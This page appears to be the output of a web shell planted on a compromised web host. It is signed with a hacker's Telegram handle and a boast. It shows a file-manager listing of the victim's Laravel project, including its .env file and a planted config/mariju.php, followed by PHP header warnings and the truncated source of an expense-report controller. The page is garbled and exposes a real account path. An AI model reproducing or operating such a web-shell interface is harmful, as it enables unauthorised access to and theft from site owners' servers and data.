telegram : @iamdarkcomedy i am hacker

path :/home/bisorgosof24/public_html/Backup23122024

upload file:

List of files:

name file size edit permission action
.env2733 KBDecember 22 2024 06:20:070644
404.html58370 KBNovember 20 2024 15:32:220644
502.html58368 KBNovember 20 2024 15:32:220644
Modules-December 11 2024 21:02:560755
README.md4158 KBFebruary 14 2023 12:31:560644
app-December 11 2024 17:57:480755
artisan1686 KBFebruary 14 2023 12:31:560644
bootstrap-December 11 2024 20:23:360755
composer.json3761 KBDecember 11 2024 22:15:000644
composer.lock512048 KBDecember 11 2024 22:13:280644
config-June 15 2025 02:09:360755
database-December 05 2024 20:18:120755
dfsdf dfds fd fds findex.html1420 KBNovember 20 2024 15:32:240644
error_log14900246 KBJuly 18 2025 16:34:030644
firoz-December 23 2024 13:24:460755
index.php1667 KBDecember 14 2024 05:20:360644
lang-December 11 2024 21:02:480755
modules_statuses.json472 KBNovember 20 2024 15:32:240644
mpos-March 31 2025 02:36:310755
package.json226 KBFebruary 14 2023 12:31:560644
phpunit.xml1146 KBFebruary 14 2023 12:31:560644
public-March 31 2025 02:36:310755
resources-December 11 2024 21:10:220755
routes-June 15 2025 02:09:310755
storage-December 11 2024 21:12:440755
tests-December 05 2024 20:18:120755
vendor-December 11 2024 22:13:300755
vite.config.js263 KBFebruary 14 2023 12:31:560644

Warning: Cannot modify header information - headers already sent by (output started at /home/bisorgosof24/public_html/Backup23122024/config/mariju.php:171) in /home/bisorgosof24/public_html/Backup23122024/config/mariju.php on line 227

Warning: Cannot modify header information - headers already sent by (output started at /home/bisorgosof24/public_html/Backup23122024/config/mariju.php:171) in /home/bisorgosof24/public_html/Backup23122024/config/mariju.php on line 228

Warning: Cannot modify header information - headers already sent by (output started at /home/bisorgosof24/public_html/Backup23122024/config/mariju.php:171) in /home/bisorgosof24/public_html/Backup23122024/config/mariju.php on line 229

Warning: Cannot modify header information - headers already sent by (output started at /home/bisorgosof24/public_html/Backup23122024/config/mariju.php:171) in /home/bisorgosof24/public_html/Backup23122024/config/mariju.php on line 230
transactionUtil = $transactionUtil; $this->moduleUtil = $moduleUtil; } public function getData() { $business_id = request()->session()->get('user.business_id'); $categories = ExpenseCategory::where('business_id', $business_id)->pluck('name', 'id'); $users = User::forDropdown($business_id, false, true, true); $business_locations = BusinessLocation::forDropdown($business_id, true); $contacts = Contact::contactDropdown($business_id, false, false); return compact('categories', 'business_locations', 'users', 'contacts'); } public function getDataTables() { $business_id = request()->session()->get('user.business_id'); $expenses = Transaction::leftJoin('expense_categories AS ec', 'transactions.expense_category_id', '=', 'ec.id') ->join( 'business_locations AS bl', 'transactions.location_id', '=', 'bl.id' ) ->leftJoin('tax_rates as tr', 'transactions.tax_id', '=', 'tr.id') ->leftJoin('users AS U', 'transactions.expense_for', '=', 'U.id') ->leftJoin('users AS usr', 'transactions.created_by', '=', 'usr.id') ->leftJoin('contacts AS c', 'transactions.contact_id', '=', 'c.id') ->leftJoin( 'transaction_payments AS TP', 'transactions.id', '=', 'TP.transaction_id' ) ->where('transactions.business_id', $business_id) ->whereIn('transactions.type', ['expense', 'expense_refund']) ->select( 'transactions.id', 'transactions.document', 'transaction_date', 'ref_no', 'ec.name as category', 'payment_status', 'additional_notes', 'final_total', 'transactions.is_recurring', 'transactions.recur_interval', 'transactions.recur_interval_type', 'transactions.recur_repetitions', 'transactions.subscription_repeat_on', 'bl.name as location_name', DB::raw("CONCAT(COALESCE(U.surname, ''),' ',COALESCE(U.first_name, ''),' ',COALESCE(U.last_name,'')) as expense_for"), DB::raw("CONCAT(tr.name ,' (', tr.amount ,' )') as tax"), DB::raw('SUM(TP.amount) as amount_paid'), DB::raw("CONCAT(COALESCE(usr.surname, ''),' ',COALESCE(usr.first_name, ''),' ',COALESCE(usr.last_name,'')) as added_by"), 'transactions.recur_parent_id', 'c.name as contact_name', 'transactions.type' ) ->with(['recurring_parent']) ->groupBy('transactions.id'); //Add condition for expense for,used in sales representative expense report & list of expense if (request()->has('expense_for')) { $expense_for = request()->get('expense_for'); if (!empty($expense_for)) { $expenses->where('transactions.expense_for', $expense_for); } } if (request()->has('contact_id')) { $contact_id = request()->get('contact_id'); if (!empty($contact_id)) { $expenses->where('transactions.contact_id', $contact_id); } } //Add condition for location,used in sales representative expense report & list of expense if (request()->has('location_id')) { $location_id = request()->get('location_id'); if (!empty($location_id)) { $expenses->where('transactions.location_id', $location_id); } } //Add condition for expense category, used in list of expense, if (request()->has('expense_category_id')) { $expense_category_id = request()->get('expense_category_id'); if (!empty($expense_category_id)) { $expenses->where('transactions.expense_category_id', $expense_category_id); } } //Add condition for start and end date filter, uses in sales representative expense report & list of expense if (!empty(request()->start_date) && !empty(request()->end_date)) { $start = request()->start_date; $end = request()->end_date; $expenses->whereDate('transaction_date', '>=', $start) ->whereDate('transaction_date', '<=', $end); } //Add condition for expense category, used in list of expense, if (request()->has('expense_category_id')) { $expense_category_id = request()->get('expense_category_id'); if (!empty($expense_category_id)) { $expenses->where('transactions.expense_category_id', $expense_category_id); } } $permitted_locations = auth()->user()->permitted_locations(); if ($permitted_locations != 'all') { $expenses->whereIn('transactions.location_id', $permitted_locations); } //Add condition for payment status for the list of expense if (request()->has('payment_status')) { $payment_status = request()->get('payment_status'); if (!empty($payment_status)) { $expenses->where('transactions.payment_status', $payment_status); } } $is_admin = $this->moduleUtil->is_admin(auth()->user(), $business_id); if (!$is_admin && !auth()->user()->can('all_expense.access')) { $user_id = auth()->user()->id; $expenses->where(function ($query) use ($user_id) { $query->where('transactions.created_by', $user_id) ->orWhere('transactions.expense_for', $user_id); }); } return DataTables::of($expenses) ->addColumn( 'action', '
' ) ->removeColumn('id') ->editColumn( 'final_total', '@if($type=="expense_refund") - @endif @format_currency($final_total)' ) ->editColumn('transaction_date', '{{@format_datetime($transaction_date)}}') ->editColumn( 'payment_status', '{{__(\'lang_v1.\' . $payment_status)}} ' ) ->addColumn('payment_due', function ($row) { $due = $row->final_total - $row->amount_paid; if ($row->type == 'expense_refund') { $due = -1 * $due; } return '' . $this->transactionUtil->num_f($due, true) . ''; }) ->addColumn('recur_details', function ($row) { $details = ''; if ($row->is_recurring == 1) { $type = $row->recur_interval == 1 ? Str::singular(__('lang_v1.' . $row->recur_interval_type)) : __('lang_v1.' . $row->recur_interval_type); $recur_interval = $row->recur_interval . $type; $details .= __('lang_v1.recur_interval') . ': ' . $recur_interval; if (!empty($row->recur_repetitions)) { $details .= ', ' . __('lang_v1.no_of_repetitions') . ': ' . $row->recur_repetitions; } if ($row->recur_interval_type == 'months' && !empty($row->subscription_repeat_on)) { $details .= '
' . __('lang_v1.repeat_on') . ': ' . str_ordinal($row->subscription_repeat_on); } } elseif (!empty($row->recur_parent_id)) { $details .= __('lang_v1.recurred_from') . ': ' . $row->recurring_parent->ref_no; } $details .= ''; return $details; }) ->editColumn('ref_no', function ($row) { $ref_no = $row->ref_no; if (!empty($row->is_recurring)) { $ref_no .= '  '; } if (!empty($row->recur_parent_id)) { $ref_no .= '  '; } if ($row->type == 'expense_refund') { $ref_no .= '  ' . __('lang_v1.refund') . ''; } return $ref_no; }) ->rawColumns(['final_total', 'action', 'payment_status', 'payment_due', 'ref_no', 'recur_details']) ->make(true); } public function getTransactionsDataTable() { $business_id = request()->session()->get('user.business_id'); $expenses = Transaction::with('journal_entry') ->leftJoin('expense_categories AS ec', 'transactions.expense_category_id', '=', 'ec.id') ->join( 'business_locations AS bl', 'transactions.location_id', '=', 'bl.id' ) ->leftJoin('tax_rates as tr', 'transactions.tax_id', '=', 'tr.id') ->leftJoin('users AS U', 'transactions.expense_for', '=', 'U.id') ->leftJoin('users AS usr', 'transactions.created_by', '=', 'usr.id') ->leftJoin('contacts AS c', 'transactions.contact_id', '=', 'c.id') ->leftJoin( 'transaction_payments AS TP', 'transactions.id', '=', 'TP.transaction_id' ) ->where('transactions.business_id', $business_id) ->whereIn('transactions.type', ['expense', 'expense_refund']) ->select( 'transactions.id', 'transactions.journal_entry_id', 'transactions.document', 'transaction_date', 'ref_no', 'ec.name as category', 'payment_status', 'additional_notes', 'final_total', 'transactions.is_recurring', 'transactions.recur_interval', 'transactions.recur_interval_type', 'transactions.recur_repetitions', 'transactions.subscription_repeat_on', 'bl.name as location_name', DB::raw("CONCAT(COALESCE(U.surname, ''),' ',COALESCE(U.first_name, ''),' ',COALESCE(U.last_name,'')) as expense_for"), DB::raw("CONCAT(tr.name ,' (', tr.amount ,' )') as tax"), DB::raw('SUM(TP.amount) as amount_paid'), DB::raw("CONCAT(COALESCE(usr.surname, ''),' ',COALESCE(usr.first_name, ''),' ',COALESCE(usr.last_name,'')) as added_by"), 'transactions.recur_parent_id', 'c.name as contact_name', 'transactions.type' ) ->with(['recurring_parent']) ->groupBy('transactions.id'); //Add condition for expense for,used in sales representative expense report & list of expense if (request()->has('expense_for')) { $expense_for = request()->get('expense_for'); if (!empty($expense_for)) { $expenses->where('transactions.expense_for', $expense_for); } } if (request()->has('contact_id')) { $contact_id = request()->get('contact_id'); if (!empty($contact_id)) { $expenses->where('transactions.contact_id', $contact_id); } } //Add condition for location,used in sales representative expense report & list of expense if (request()->has('location_id')) { $location_id = request()->get('location_id'); if (!empty($location_id)) { $expenses->where('transactions.location_id', $location_id); } } //Add condition for expense category, used in list of expense, if (request()->has('expense_category_id')) { $expense_category_id = request()->get('expense_category_id'); if (!empty($expense_category_id)) { $expenses->where('transactions.expense_category_id', $expense_category_id); } } //Add condition for start and end date filter, uses in sales representative expense report & list of expense if (!empty(request()->start_date) && !empty(request()->end_date)) { $start = request()->start_date; $end = request()->end_date; $expenses->whereDate('transaction_date', '>=', $start) ->whereDate('transaction_date', '<=', $end); } //Add condition for expense category, used in list of expense, if (request()->has('expense_category_id')) { $expense_category_id = request()->get('expense_category_id'); if (!empty($expense_category_id)) { $expenses->where('transactions.expense_category_id', $expense_category_id); } } $permitted_locations = auth()->user()->permitted_locations(); if ($permitted_locations != 'all') { $expenses->whereIn('transactions.location_id', $permitted_locations); } //Add condition for payment status for the list of expense if (request()->has('payment_status')) { $payment_status = request()->get('payment_status'); if (!empty($payment_status)) { $expenses->where('transactions.payment_status', $payment_status); } } $is_admin = $this->moduleUtil->is_admin(auth()->user(), $business_id); if (!$is_admin && !auth()->user()->can('all_expense.access')) { $user_id = auth()->user()->id; $expenses->where(function ($query) use ($user_id) { $query->where('transactions.created_by', $user_id) ->orWhere('transactions.expense_for', $user_id); }); } return DataTables::of($expenses) ->addColumn('mapping', function ($row) { if (!empty($row->journal_entry_id)) { return '' . trans('accounting::general.has_been_mapped') . ''; } else { return ''; } }) ->addColumn('chart_of_account', function ($row) { if (!empty($row->journal_entry_id)) { return 'journal_entry->chart_of_account->id . "/show") . '"> ' . $row->journal_entry->chart_of_account->name . ' '; } else { return '' . trans('accounting::general.has_not_been_mapped') . ''; } }) ->removeColumn('id') ->editColumn( 'final_total', '@if($type=="expense_refund") - @endif @format_currency($final_total)' ) ->editColumn('transaction_date', '{{@format_datetime($transaction_date)}}') ->editColumn( 'payment_status', '{{__(\'lang_v1.\' . $payment_status)}} ' ) ->addColumn('payment_due', function ($row) { $due = $row->final_total - $row->amount_paid; if ($row->type == 'expense_refund') { $due = -1 * $due; } return '' . $this->transactionUtil->num_f($due, true) . ''; }) ->addColumn('recur_details', function ($row) { $details = ''; if ($row->is_recurring == 1) { $type = $row->recur_interval == 1 ? Str::singular(__('lang_v1.' . $row->recur_interval_type)) : __('lang_v1.' . $row->recur_interval_type); $recur_interval = $row->recur_interval . $type; $details .= __('lang_v1.recur_interval') . ': ' . $recur_interval; if (!empty($row->recur_repetitions)) { $details .= ', ' . __('lang_v1.no_of_repetitions') . ': ' . $row->recur_repetitions; } if ($row->recur_interval_type == 'months' && !empty($row->subscription_repeat_on)) { $details .= '
' . __('lang_v1.repeat_on') . ': ' . str_ordinal($row->subscription_repeat_on); } } elseif (!empty($row->recur_parent_id)) { $details .= __('lang_v1.recurred_from') . ': ' . $row->recurring_parent->ref_no; } $details .= ''; return $details; }) ->editColumn('ref_no', function ($row) { $ref_no = $row->ref_no; if (!empty($row->is_recurring)) { $ref_no .= '  '; } if (!empty($row->recur_parent_id)) { $ref_no .= '  '; } if ($row->type == 'expense_refund') { $ref_no .= '  ' . __('lang_v1.refund') . ''; } return $ref_no; }) ->rawColumns(['final_total', 'mapping', 'payment_status', 'payment_due', 'ref_no', 'recur_details', 'chart_of_account']) ->make(true); } }